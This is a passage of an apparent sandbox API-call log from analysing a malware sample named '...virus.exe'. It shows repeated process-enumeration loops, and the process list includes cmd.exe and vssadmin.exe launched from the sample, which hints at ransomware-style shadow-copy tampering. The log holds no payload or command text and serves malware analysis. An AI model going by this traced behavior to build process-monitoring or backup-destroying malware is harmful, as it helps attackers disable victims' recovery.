szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0257.769] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0257.769] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0257.769] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0257.770] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0257.770] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0257.770] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0257.771] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.771] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.771] Process32NextW (in: hSnapshot=0xc4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0257.772] CloseHandle (hObject=0xc4) returned 1 [0257.772] Sleep (dwMilliseconds=0x1f4) [0258.305] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x100 [0258.307] Process32FirstW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0258.308] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0258.308] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0258.308] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0258.309] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0258.309] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0258.310] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0258.310] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0258.310] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0258.311] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0258.311] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.311] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.312] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.312] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.312] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.313] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0258.313] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.314] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.314] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0258.314] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0258.315] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0258.315] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0258.316] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.316] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0258.316] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0258.317] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0258.317] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0258.317] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0258.318] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0258.318] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0258.319] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.319] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.319] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0258.320] CloseHandle (hObject=0x100) returned 1 [0258.320] Sleep (dwMilliseconds=0x1f4) [0259.059] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xcc [0259.061] Process32FirstW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0259.062] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0259.062] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0259.063] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0259.063] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0259.063] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0259.064] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0259.064] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0259.065] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0259.066] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0259.066] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.066] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.067] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.067] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.068] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.068] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0259.069] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.069] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.069] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0259.070] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0259.070] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0259.071] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0259.071] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.071] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0259.072] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0259.072] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0259.073] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0259.073] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0259.073] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0259.074] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0259.074] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.074] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.075] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0259.075] CloseHandle (hObject=0xcc) returned 1 [0259.075] Sleep (dwMilliseconds=0x1f4) [0259.577] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a8 [0259.579] Process32FirstW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0259.580] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0259.580] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0259.580] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0259.581] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0259.581] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0259.581] Process32NextW (in: hSnapshot=0x1a8, 